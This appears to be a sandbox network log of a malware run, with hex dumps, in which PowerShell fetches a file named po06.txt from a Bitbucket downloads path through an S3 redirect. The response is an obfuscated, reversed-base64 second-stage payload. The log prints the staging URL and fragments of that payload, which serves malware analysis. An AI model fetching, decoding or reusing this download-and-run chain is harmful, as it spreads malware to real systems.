2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 95 3f 71 a0 a0 48 ef f5 a6 eb 42 52 0f 3c 1e e6 6a 64 c6 19 b8 90 90 67 f4 f2 a4 96 ce d8 e0 71 c5 3b 5b 61 20 9f 23 c0 a4 d6 d0 28 10 7c fb cd 16 46 68 68 b6 41 41 f9 79 f4 9e d4 9a 98 f2 20 03 dc 0a 78 a6 46 d2 00 04 0f 32 4d 26 e3 5b bb 00 67 f6 a2 c8 29 7c 8d 14 d9 90 08 04 1e 68 a5 8e f1 00 27 9a 74 2d c8 32 41 8f 28 f2 af 1b 71 23 eb cd 3e e1 34 35 f0 26 47 12 3d 3c e8 a1 93 b4 f0 29 e1 b7 f9 b8 3d bb f1 44 5b 69 4a 79 54 d2 c8 d8 1a 86 bf 98 78 1c 9a 21 47 ca 0c f7 34 ec b7 24 41 fa 99 e0 d1 54 da 60 fa 0a 25 2f 91 f0 86 c1 82 7b 89 99 ee 68 85 8d d3 f5 a7 7f 77 24 9e 3c a2 7d 6b ce 31 02 79 81 4e 98 b0 30 fb b6 d5 a7 ce 8a ab 7d 80 9f 39 fd 29 f1 64 2d 5c 72 12 68 0b 30 4c f6 34 fb 86 23 9e 60 01 c8 1c 7b 52 4b 60 02 60 77 fa f1 52 6e 5b ed 20 77 Data Ascii: ?qHBR<jdgq;[a #(\|FhhAAy xF2M&[g)\|h't-2A(q#>45&G=<)=D[iJyTx!G4$AT`%/{hw$<}k1yN0}9)d-\rh0L4#`{RK``wRn[ w
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 3e b6 70 73 07 cb 9a 8e 6d 44 79 4d 38 b7 70 c4 81 07 fb d4 6d 06 4b 5a be 5b 3c 49 9e 40 9a 9e c5 27 e5 49 51 12 07 61 55 76 6e 36 41 1e 5e 95 31 8f bf de 90 07 11 e8 6a bd 8b e0 24 c9 f1 0a 71 04 76 3d c5 3e b6 64 a8 48 24 01 e9 51 b8 fb b4 ba be 47 20 7a d4 8b 4f 04 98 98 3f 5a 81 a6 10 f4 38 10 60 99 a2 15 00 66 7b f3 49 3a ec f1 27 f2 ed 44 2e 84 cc 77 a8 c9 32 1d d5 02 a9 f2 3c 53 75 10 41 f2 22 85 6e 40 04 77 f7 a4 d6 e6 e1 db bf 07 da 90 84 d6 42 79 3e 73 34 92 d4 53 13 dc 8e d4 67 7f 01 e4 71 48 ba a9 51 24 89 ed 1e b4 84 11 c5 cc 9a 49 c5 03 04 9e dc 51 d6 24 11 c5 22 e7 2a 1c 0f d6 90 32 00 ae 24 99 91 e5 49 a9 41 07 82 4c 9f 5a f1 30 99 9e 4d 26 a5 98 82 3b d1 a5 80 41 71 72 a3 c9 fd 68 8b 7a 04 49 8a 05 9d d3 fa f1 49 19 0a 04 76 f5 f4 a2 4b Data Ascii: >psmDyM8pmKZ[<I@'IQaUvn6A^1j$qv=>dH$QG zO?Z8`f{I:'D.w2<SuA"n@wBy>s4SgqHQ$IQ$"*2$IALZ0M&;AqrhzIIvK
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 10 80 b2 3e 6a 14 88 10 4c 81 42 e2 1a 90 a2 49 1b 61 52 93 ef 4e 1a 74 25 60 cc 73 c5 32 4a 22 61 71 3e 86 8e d1 da a0 93 c9 ee 2a 37 5f 04 b1 b0 95 b7 c9 a9 b5 94 a0 c0 1d f9 ef 56 0c 46 66 52 01 5c 71 54 e4 a9 53 cc 83 e4 69 7b 7b d5 b0 a1 27 b7 bd 54 9d 09 f6 2c 43 53 8e e5 f9 19 14 bb dd 52 0f 7e 4d 11 57 28 1d 88 91 ef 55 5b 2c ea e4 c9 3c 0f 5a 92 b6 bd 0e b6 92 4f 33 eb 54 e5 43 45 b5 a8 52 e0 97 45 c6 e5 c7 63 e5 e9 14 72 0a 92 62 3b cd 46 26 f8 23 cf b7 94 f7 a5 d9 c8 c9 f2 8f de a1 75 70 49 1b 18 f9 2e c4 47 04 f7 e4 d7 ad 32 4e 33 76 02 56 a2 27 8a 6a a7 cb 84 c9 20 0e c4 77 a5 59 28 2a 04 9e 0f 78 10 47 bd 41 3a 89 e1 63 2f 18 3c a7 de 6d 80 57 70 39 9a 7e eb a7 67 f2 ff 00 0a 6a b3 8c bf 09 60 00 40 80 05 4b d9 e5 00 24 6f 91 e9 da b3 ed a7 Data Ascii: >jLBIaRNt%`s2J"aq>7_VFfR\qTSi{{'T,CSR~MW(U[,<ZO3TCEREcrb;F&#upI.G2N3vV'j wY(xGA:c/<mWp9~gj`@K$o
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: bb 6e 1c 52 88 91 ed 48 38 c4 0f 41 52 ae da 11 3c f7 a4 57 6b b4 73 24 cd 4f 19 11 b8 fc 91 2e 5b 85 15 79 1a 6b 73 6f 06 23 89 e2 a5 dd b6 85 1e f1 ed 4d 2e ed ca 93 31 31 d8 0a b5 5c f2 41 35 82 19 6d 92 a2 00 04 77 92 69 25 33 12 26 7f 3e d4 fe e2 d3 69 31 22 69 aa db d8 b1 c4 03 e7 da ad 42 5c 11 31 a2 db da a0 7b 01 db de a2 b3 03 74 93 cc 9a 97 b8 4c 24 f2 60 7f f2 35 17 91 40 58 3f e5 57 2b 21 97 62 05 c6 a1 c5 12 20 1f 4a 21 82 78 23 89 a7 57 8d 02 a1 06 62 9a b8 12 8f c3 03 cb 8f 3a d0 af b1 08 d5 c7 c7 8e 11 24 10 3d 38 a5 90 b1 20 48 ed eb 49 bc 80 ae 49 e7 eb 48 1b 8f 09 64 00 0c 7b c7 ef 53 a4 03 ee 3b 2b 85 f0 af 3e d4 76 9d 1b 7b 83 f4 f2 f6 a6 0b bd 95 4f cb cf d6 bd f7 a2 be c7 8f 21 d8 d1 6d 18 94 49 49 5f 24 09 ed 4b b0 a0 a5 41 3f 32 Data Ascii: nRH8AR<Wks$O.[ykso#M.11\A5mwi%3&>i1"iB\1{tL$`5@X?W+!b J!x#Wb:$=8 HIIHd{S;+>v{O!mII_$KA?2
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 3f b5 18 2b bc f6 a8 da f9 16 47 0d ac 6e 03 fa 69 56 57 dc 83 04 18 34 d8 28 20 00 49 1e 74 b0 54 2b b4 45 03 58 09 31 c2 14 0a 07 90 a5 d0 ae 4f 95 35 4a a4 7d 7f 7a 55 2a 93 1f bd 03 09 34 3a 42 e5 30 3b 93 cd 28 95 10 78 33 14 d9 b5 40 e0 c1 14 aa 54 24 fa 8f 5a 58 10 e1 b3 b7 ce 67 f2 a5 52 e7 3c 02 60 f9 53 54 ab cb bf b4 c5 2a 90 01 f2 83 ef 34 d8 10 bb 6a 80 79 e4 51 8f cc 41 fc e9 10 41 12 3c fd e9 44 90 63 c8 c4 9f f4 a6 7d b0 23 d1 25 5d f8 f7 ef 47 e3 68 af 22 3b c0 04 fa d1 86 d2 3b a6 83 68 80 42 8f a7 71 3d e9 4a 22 40 e4 00 3c c5 1b 77 27 91 34 62 0a 55 27 b4 48 a2 a1 26 62 40 8e 38 a5 76 89 07 89 14 55 40 24 7f d2 90 82 44 93 c0 fa d0 29 a0 7b 44 f9 51 f6 03 e9 35 ef 0a 3f aa 69 26 21 12 80 13 27 99 1e bd e8 54 c8 13 3e 7e 54 b1 40 88 f9 Data Ascii: ?+GniVW4( ItT+EX1O5J}zU4:B0;(x3@T$ZXgR<`ST4jyQAA<Dc}#%]Gh";;hBq=J"@<w'4bU'H&b@8vU@$D){DQ5?i&!'T>~T@
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 41 23 ca 8c 1d 05 3c 18 33 14 44 93 34 1d bd c7 a5 30 85 12 b1 30 a5 1e 3f 4a 38 56 e4 81 c7 14 88 85 7c aa 23 8f 5e c6 8c 95 80 38 23 f2 a5 81 64 5f 77 b8 a2 ee e6 29 30 e9 3b 62 62 6b c8 78 83 c8 e6 69 0b 2f c0 af cb b6 37 76 f6 a3 12 12 3b 9f a5 25 b8 ab 90 27 8f 5a 12 e4 00 20 c5 2e 3c 8e a4 c3 a8 84 09 92 68 15 09 04 03 df da 8a 54 20 c8 91 ee 68 a5 7e a3 f2 a7 e3 c0 fb 83 a8 f3 cc fb d1 16 a0 0c 02 4f ed 5e 52 80 4f 30 7e b4 91 5e d3 db b1 a6 19 b0 54 a0 39 07 b7 94 51 54 47 3c f7 34 05 5e 87 bd 11 4a 1b a0 77 34 86 c8 68 f5 fa 77 ef 49 ba 47 20 f9 d0 a9 65 22 7f 6a 49 6b e7 d7 db d2 9d 21 09 38 47 ac c5 37 74 00 47 33 12 69 57 48 3e 5c 76 22 90 58 f2 f2 3c 77 a2 42 1b 3b 11 04 09 a4 5c 02 0f b5 2e e1 32 63 69 fa d2 0e 73 23 c8 fe f5 24 44 35 58 e0 Data Ascii: A#<3D400?J8V\|#^8#d_w)0;bbkxi/7v;%'Z .<hT h~O^RO0~^T9QTG<4^Jw4hwIG e"jIk!8G7tG3iWH>\v"X<wB;\.2cis#$D5X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49752	185.166.143.48	443	5664	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 07:33:21 UTC	100	OUT	GET /rulmerurk/ertertqw/downloads/po06.txt HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-10-07 07:33:22 UTC	5118	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 07:33:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/4be491a4-012e-46db-bc28-27fee082b0f0/downloads/74ccc5a3-8670-44b3-9024-14d063289113/po06.txt?response-content-disposition=attachment%3B%20filename%3D%22po06.txt%22&AWSAccessKeyId=ASIA6KOSE3BNNNEIOJI2&Signature=fCrW6YnKz8vmM76pCMU1Lk6%2B0dU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEND%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCICDb1Ea51gVsaGyPokV768I%2BK7TQ4cMsw7V4s%2FwUh97nAiBfdiFFLnmsdf8uWYy0kPYgU%2BjMX%2FMgGviikn58Zb6gxSqnAggpEAAaDDk4NDUyNTEwMTE0NiIMEI%2Blc%2FDMHYEVRHAGKoQCqgEqCyiV%2B3l1ji%2BADbqxjQAkgbvr1wtWBW6I%2Bw1MhCD7Mxv3%2FnNWt0uV09RjUnN81299oEf01aBbcdjn3LrJzVv26PtJlSKA4XjDjqHgt4WeXq%2F%2F7hJG0lFt4RXCCuJfQAEzhCNvyxwS3W5h8kafeCHdboWlzk8hyBUMfK0fthLTcWdKoCk30MyOhCiCmW%2BRSyT76Oe%2B8IBbx%2BUcOZRFmnl4rOdx52%2BSbzegdvcQ%2Bkh1z8AYQYnRivhT30A68B9NHLHz%2BuOQbnY6gwwwc1%2FyoVHP99bN6P2wqC9yeGkEPPkenaL1k0WzLcky5ZyHMjM09U2H3sUzWWlYKmC9oxgP8RlWKagw%2F5mOuAY6ngFo9w%2BuVBeGNn0os%2F2bZJZ9Z%2BD0%2B8YeClr2VvBYCCC1utxLfr9vLLLpP2dO9iTdu0Tdh13%2B8JebIVXg3As%2BHgx7cfu [TRUNCATED] Expires: Mon, 07 Oct 2024 07:33:22 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 61e51e47dd6f X-Version: 8e66bccd2be3 X-Static-Version: 8e66bccd2be3 X-Request-Count: 1116 X-Render-Time: 0.046785831451416016 X-B3-Traceid: 0808a1647fb24c5cafa43d7dd1facf45 X-B3-Spanid: 707e33c580f68fff X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassi [TRUNCATED] X-Usage-Quota-Remaining: 999227.518 X-Usage-Request-Cost: 786.33 X-Usage-User-Time: 0.016543 X-Usage-System-Time: 0.007047 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 0808a1647fb24c5cafa43d7dd1facf45 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=157,atl-edge-internal;dur=4,atl-edge-upstream;dur=155,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49760	16.182.70.97	443	5664	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 07:33:22 UTC	1211	OUT	GET /4be491a4-012e-46db-bc28-27fee082b0f0/downloads/74ccc5a3-8670-44b3-9024-14d063289113/po06.txt?response-content-disposition=attachment%3B%20filename%3D%22po06.txt%22&AWSAccessKeyId=ASIA6KOSE3BNNNEIOJI2&Signature=fCrW6YnKz8vmM76pCMU1Lk6%2B0dU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEND%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCICDb1Ea51gVsaGyPokV768I%2BK7TQ4cMsw7V4s%2FwUh97nAiBfdiFFLnmsdf8uWYy0kPYgU%2BjMX%2FMgGviikn58Zb6gxSqnAggpEAAaDDk4NDUyNTEwMTE0NiIMEI%2Blc%2FDMHYEVRHAGKoQCqgEqCyiV%2B3l1ji%2BADbqxjQAkgbvr1wtWBW6I%2Bw1MhCD7Mxv3%2FnNWt0uV09RjUnN81299oEf01aBbcdjn3LrJzVv26PtJlSKA4XjDjqHgt4WeXq%2F%2F7hJG0lFt4RXCCuJfQAEzhCNvyxwS3W5h8kafeCHdboWlzk8hyBUMfK0fthLTcWdKoCk30MyOhCiCmW%2BRSyT76Oe%2B8IBbx%2BUcOZRFmnl4rOdx52%2BSbzegdvcQ%2Bkh1z8AYQYnRivhT30A68B9NHLHz%2BuOQbnY6gwwwc1%2FyoVHP99bN6P2wqC9yeGkEPPkenaL1k0WzLcky5ZyHMjM09U2H3sUzWWlYKmC9oxgP8RlWKagw%2F5mOuAY6ngFo9w%2BuVBeGNn0os%2F2bZJZ9Z%2BD0%2B8YeClr2VvBYCCC1utxLfr9vLLLpP2dO9iTdu0Tdh13%2B8JebIVXg3As%2BHgx7cfu0QDWzRjYpiFcJf1LqlV%2BkrHMKyohVoC%2FlxeRSvJA [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-10-07 07:33:23 UTC	523	IN	HTTP/1.1 200 OK x-amz-id-2: lpOZKJ1koLdC2uzcmaChljIOh7bl/YvMqXXACFXgBRJizZMQ0gRH+W9fqfVHVj8oTTCSZGzbjkQ= x-amz-request-id: QNRNG3NJ4WTVTVK1 Date: Mon, 07 Oct 2024 07:33:23 GMT Last-Modified: Sun, 06 Oct 2024 19:44:00 GMT ETag: "25ed80d3edc48423314bfde9f7f6a668" x-amz-server-side-encryption: AES256 x-amz-version-id: C6L29JZ7e76hnMP4VYZTCoElKv867tPG Content-Disposition: attachment; filename="po06.txt" Accept-Ranges: bytes Content-Type: text/plain Server: AmazonS3 Content-Length: 626996 Connection: close
2024-10-07 07:33:23 UTC	15770	IN	Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-07 07:33:23 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 51 51 49 69 41 43 42 69 4d 53 49 45 4d 79 49 68 51 41 4a 6b 4d 43 42 6c 55 43 4a 45 59 79 4a 6c 51 51 4b 70 67 43 42 72 73 69 4b 45 30 53 4c 73 51 77 4c 76 34 43 42 79 49 54 4d 45 51 44 4e 7a 51 67 4e 32 55 44 42 35 6b 44 4f 45 6f 6a 4f 35 51 41 50 38 73 44 42 39 30 54 50 49 63 7a 4e 32 51 77 4e 33 59 6a 63 36 6f 54 4f 6f 48 57 59 67 39 65 72 54 67 44 69 4c 75 49 38 4b 71 6f 69 77 76 34 69 4c 43 66 6a 4d 79 49 38 4f 36 59 6a 77 48 5a 6b 50 43 76 6b 53 4b 4a 38 52 4b 5a 6b 77 37 6f 6a 4e 43 2f 69 4c 71 49 38 49 69 34 68 77 58 59 68 46 43 50 68 45 4f 49 38 44 53 34 67 76 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAQQIiACBiMSIEMyIhQAJkMCBlUCJEYyJlQQKpgCBrsiKE0SLsQwLv4CByITMEQDNzQgN2UDB5kDOEojO5QAP8sDB90TPIczN2QwN3Yjc6oTOoHWYg9erTgDiLuI8Kqoiwv4iLCfjMyI8O6YjwHZkPCvkSKJ8RKZkw7ojNC/iLqI8Ii4hwXYhFCPhEOI8DS4gv
2024-10-07 07:33:23 UTC	1024	IN	Data Raw: 79 2f 6e 67 69 4a 2f 6a 53 4b 6e 38 76 4b 71 6b 79 2f 72 77 69 4b 2f 33 53 4c 73 38 2f 4c 76 34 79 2f 78 45 44 4d 2f 4c 6a 4d 78 38 50 4e 30 4d 7a 2f 32 59 54 4e 2f 6a 44 4f 33 38 76 4f 36 6b 7a 2f 37 73 6a 4f 2f 33 54 50 38 38 76 50 65 72 54 67 44 34 7a 2f 2f 41 30 50 2f 48 55 51 41 39 76 51 43 46 30 2f 43 4a 6b 51 2f 4c 30 51 43 39 76 51 43 4a 30 2f 42 46 55 51 2f 44 45 51 41 39 2f 50 2f 38 7a 2f 65 72 54 67 44 30 54 50 2f 7a 44 50 37 38 76 4f 36 6b 7a 2f 35 6b 44 4f 2f 66 7a 4e 32 38 66 4e 31 51 7a 2f 7a 4d 6a 4d 2f 48 54 4d 77 38 50 4d 77 38 79 2f 75 34 53 4c 2f 7a 53 4c 72 38 2f 4b 72 6f 79 2f 70 6b 43 4b 2f 6a 43 4b 6e 38 2f 4a 6e 59 79 2f 6d 59 53 4a 2f 58 53 4a 6b 38 50 4a 6b 49 79 2f 6a 51 69 49 2f 50 43 4a 69 38 76 49 6a 45 43 6d 70 6b 79 4a 41 Data Ascii: y/ngiJ/jSKn8vKqky/rwiK/3SLs8/Lv4y/xEDM/LjMx8PN0Mz/2YTN/jDO38vO6kz/7sjO/3TP88vPerTgD4z//A0P/HUQA9vQCF0/CJkQ/L0QC9vQCJ0/BFUQ/DEQA9/P/8z/erTgD0TP/zDP78vO6kz/5kDO/fzN28fN1Qz/zMjM/HTMw8PMw8y/u4SL/zSLr8/Kroy/pkCK/jCKn8/JnYy/mYSJ/XSJk8PJkIy/jQiI/PCJi8vIjECmpkyJA
2024-10-07 07:33:23 UTC	16384	IN	Data Raw: 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 54 43 4a 69 38 66 4a 6c 4d 79 2f 6e 63 53 4a 2f 6e 53 4b 6e 38 2f 4b 72 6b 79 2f 75 30 43 4c 2f 48 54 4d 76 38 50 4e 7a 49 7a 2f 34 63 54 4e 2f 76 7a 4f 35 38 66 51 41 35 7a 2f 47 56 30 51 2f 76 30 53 4a 39 76 55 52 42 31 2f 59 68 31 56 2f 44 47 59 65 39 50 5a 6b 4a 32 2f 64 78 31 57 2f 62 56 56 55 39 2f 54 50 31 30 2f 4a 6c 30 52 2f 54 30 51 42 39 2f 50 65 72 54 67 44 30 7a 2f 36 6f 44 4f 2f 62 6a 4e 30 38 2f 4d 7a 45 7a 2f 77 41 6a 4c 2f 33 53 4c 72 38 2f 4b 72 6b 79 2f 70 67 79 4a 2f 66 79 4a 6c 38 66 4a 6c 51 79 2f 6b 51 69 49 2f 54 43 4a 69 38 50 4a 6b 49 79 2f 6b 51 69 49 2f 54 43 4a 69 38 50 4a 6b 49 79 2f 6b 51 69 49 2f 54 43 4a 69 Data Ascii: y/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/TCJi8fJlMy/ncSJ/nSKn8/Krky/u0CL/HTMv8PNzIz/4cTN/vzO58fQA5z/GV0Q/v0SJ9vURB1/Yh1V/DGYe9PZkJ2/dx1W/bVVU9/TP10/Jl0R/T0QB9/PerTgD0z/6oDO/bjN08/MzEz/wAjL/3SLr8/Krky/pgyJ/fyJl8fJlQy/kQiI/TCJi8PJkIy/kQiI/TCJi8PJkIy/kQiI/TCJi
2024-10-07 07:33:23 UTC	1024	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-07 07:33:23 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-07 07:33:23 UTC	1024	IN	Data Raw: 54 67 44 39 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 38 6a 4d 53 49 64 4d 79 49 68 41 41 41 41 41 51 41 6a 4d 53 49 55 4f 79 49 68 30 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 70 6b 69 4a 2f 54 65 72 54 67 44 34 6a 2f 76 39 32 66 2f 2f 32 Data Ascii: TgD9/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy8jMSIdMyIhAAAAAQAjMSIUOyIh0/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/pkiJ/TerTgD4j/v92f//2
2024-10-07 07:33:23 UTC	16384	IN	Data Raw: 66 65 72 54 67 44 2f 6e 66 65 72 54 67 44 35 2f 66 65 72 54 67 44 35 6e 2f 2f 35 6e 66 65 72 54 67 44 2f 72 66 65 72 54 67 44 35 2f 66 65 72 54 67 44 35 6e 2f 2f 35 6e 66 65 72 54 67 44 2f 6e 66 65 72 54 67 44 35 2f 76 65 72 54 67 44 36 72 2f 2f 36 72 76 65 72 54 67 44 2f 72 76 65 72 54 67 44 36 2f 2f 65 72 54 67 44 36 72 2f 2f 37 76 2f 65 72 54 67 44 2f 76 2f 65 72 54 67 44 37 2f 76 65 72 54 67 44 36 72 2f 2f 36 72 2f 65 72 54 67 44 2f 76 2f 65 72 54 67 44 37 2f 2f 65 72 54 67 44 37 72 2f 2f 37 76 2f 65 72 54 67 44 2f 7a 2f 65 72 54 67 44 37 2f 50 2f 38 7a 2f 2f 38 7a 50 2f 2f 7a 50 2f 38 2f 50 2f 38 76 2f 2f 37 76 50 2f 2f 7a 2f 65 72 54 67 44 38 2f 2f 65 72 54 67 44 37 7a 2f 2f 38 7a 50 2f 2f 7a 50 2f 38 2f 50 2f 38 33 2f 2f 38 7a 50 2f 2f 2f 33 66 65 Data Ascii: 